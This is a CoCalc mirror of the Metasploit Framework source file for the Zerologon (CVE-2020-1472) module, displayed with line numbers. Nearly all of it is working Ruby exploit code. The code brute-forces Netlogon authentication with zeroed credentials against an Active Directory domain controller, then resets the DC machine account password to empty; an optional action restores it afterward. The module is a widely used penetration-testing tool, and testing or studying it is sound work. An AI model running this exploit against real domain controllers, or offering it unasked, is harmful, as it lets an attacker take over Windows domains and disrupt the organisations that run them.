CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'windows_error'
7
8
class MetasploitModule < Msf::Auxiliary
9
10
include Msf::Exploit::Remote::DCERPC
11
include Msf::Exploit::Remote::SMB::Client
12
include Msf::Auxiliary::Report
13
14
CheckCode = Exploit::CheckCode
15
Netlogon = RubySMB::Dcerpc::Netlogon
16
EMPTY_SHARED_SECRET = OpenSSL::Digest.digest('MD4', '')
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Netlogon Weak Cryptographic Authentication',
23
'Description' => %q{
24
A vulnerability exists within the Netlogon authentication process where the security properties granted by AES
25
are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker
26
can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts
27
using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability
28
to reset the machine account password to an empty string, which will then allow the attacker to authenticate as
29
the machine account. After exploitation, it's important to restore this password to it's original value. Failure
30
to do so can result in service instability.
31
},
32
'Author' => [
33
'Tom Tervoort', # original vulnerability details
34
'Spencer McIntyre', # metasploit module
35
'Dirk-jan Mollema' # password restoration technique
36
],
37
'Notes' => {
38
'AKA' => ['Zerologon'],
39
'Stability' => [CRASH_SAFE],
40
'Reliability' => [],
41
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
42
},
43
'License' => MSF_LICENSE,
44
'Actions' => [
45
[ 'REMOVE', { 'Description' => 'Remove the machine account password' } ],
46
[ 'RESTORE', { 'Description' => 'Restore the machine account password' } ]
47
],
48
'DefaultAction' => 'REMOVE',
49
'References' => [
50
[ 'CVE', '2020-1472' ],
51
[ 'URL', 'https://www.secura.com/blog/zero-logon' ],
52
[ 'URL', 'https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py' ],
53
[ 'URL', 'https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py' ]
54
]
55
)
56
)
57
58
register_options(
59
[
60
OptPort.new('RPORT', [ false, 'The netlogon RPC port' ]),
61
OptString.new('NBNAME', [ true, 'The server\'s NetBIOS name' ]),
62
OptString.new('PASSWORD', [ false, 'The password to restore for the machine account (in hex)' ], conditions: %w[ACTION == RESTORE]),
63
]
64
)
65
end
66
67
def peer
68
"#{rhost}:#{@dport || datastore['RPORT']}"
69
end
70
71
def bind_to_netlogon_service
72
@dport = datastore['RPORT']
73
if @dport.nil? || @dport == 0
74
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')
75
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport
76
end
77
78
# Bind to the service
79
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])
80
print_status("Binding to #{handle} ...")
81
dcerpc_bind(handle)
82
print_status("Bound to #{handle} ...")
83
end
84
85
def check
86
bind_to_netlogon_service
87
88
status = nil
89
2000.times do
90
netr_server_req_challenge
91
response = netr_server_authenticate3
92
93
break if (status = response.error_status) == 0
94
95
windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first
96
# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong
97
next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
98
99
fail_with(Failure::UnexpectedReply, windows_error)
100
end
101
102
return CheckCode::Detected unless status == 0
103
104
CheckCode::Vulnerable
105
end
106
107
def run
108
case action.name
109
when 'REMOVE'
110
action_remove_password
111
when 'RESTORE'
112
action_restore_password
113
end
114
end
115
116
def action_remove_password
117
fail_with(Failure::Unknown, 'Failed to authenticate to the server by leveraging the vulnerability') unless check == CheckCode::Vulnerable
118
119
print_good('Successfully authenticated')
120
121
report_vuln(
122
host: rhost,
123
port: @dport,
124
name: name,
125
sname: 'dcerpc',
126
proto: 'tcp',
127
refs: references,
128
info: "Module #{fullname} successfully authenticated to the server without knowledge of the shared secret"
129
)
130
131
response = netr_server_password_set2
132
status = response.error_status.to_i
133
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0
134
135
print_good("Successfully set the machine account (#{datastore['NBNAME']}$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)")
136
end
137
138
def action_restore_password
139
fail_with(Failure::BadConfig, 'The RESTORE action requires the PASSWORD option to be set') if datastore['PASSWORD'].blank?
140
fail_with(Failure::BadConfig, 'The PASSWORD option must be in hex') if /^([0-9a-fA-F]{2})+$/ !~ datastore['PASSWORD']
141
password = [datastore['PASSWORD']].pack('H*')
142
143
bind_to_netlogon_service
144
client_challenge = OpenSSL::Random.random_bytes(8)
145
146
response = netr_server_req_challenge(client_challenge: client_challenge)
147
session_key = Netlogon.calculate_session_key(EMPTY_SHARED_SECRET, client_challenge, response.server_challenge)
148
ppp = Netlogon.encrypt_credential(session_key, client_challenge)
149
150
response = netr_server_authenticate3(client_credential: ppp)
151
fail_with(Failure::NoAccess, 'Failed to authenticate (the machine account password may not be empty)') unless response.error_status == 0
152
153
new_password_data = ("\x00" * (512 - password.length)) + password + [password.length].pack('V')
154
response = netr_server_password_set2(
155
authenticator: Netlogon::NetlogonAuthenticator.new(
156
credential: Netlogon.encrypt_credential(session_key, [ppp.unpack1('Q') + 10].pack('Q')),
157
timestamp: 10
158
),
159
clear_new_password: Netlogon.encrypt_credential(session_key, new_password_data)
160
)
161
status = response.error_status.to_i
162
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0
163
164
print_good("Successfully set machine account (#{datastore['NBNAME']}$) password")
165
end
166
167
def netr_server_authenticate3(client_credential: "\x00" * 8)
168
nrpc_call('NetrServerAuthenticate3',
169
primary_name: "\\\\#{datastore['NBNAME']}",
170
account_name: "#{datastore['NBNAME']}$",
171
secure_channel_type: :ServerSecureChannel,
172
computer_name: datastore['NBNAME'],
173
client_credential: client_credential,
174
flags: 0x212fffff)
175
end
176
177
def netr_server_password_set2(authenticator: nil, clear_new_password: "\x00" * 516)
178
authenticator ||= Netlogon::NetlogonAuthenticator.new(credential: "\x00" * 8, timestamp: 0)
179
nrpc_call('NetrServerPasswordSet2',
180
primary_name: "\\\\#{datastore['NBNAME']}",
181
account_name: "#{datastore['NBNAME']}$",
182
secure_channel_type: :ServerSecureChannel,
183
computer_name: datastore['NBNAME'],
184
authenticator: authenticator,
185
clear_new_password: clear_new_password)
186
end
187
188
def netr_server_req_challenge(client_challenge: "\x00" * 8)
189
nrpc_call('NetrServerReqChallenge',
190
primary_name: "\\\\#{datastore['NBNAME']}",
191
computer_name: datastore['NBNAME'],
192
client_challenge: client_challenge)
193
end
194
195
def nrpc_call(name, **kwargs)
196
request = Netlogon.const_get("#{name}Request").new(**kwargs)
197
198
begin
199
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
200
rescue Rex::Proto::DCERPC::Exceptions::Fault
201
fail_with(Failure::UnexpectedReply, "The #{name} Netlogon RPC request failed")
202
end
203
204
Netlogon.const_get("#{name}Response").read(raw_response)
205
end
206
end
207
208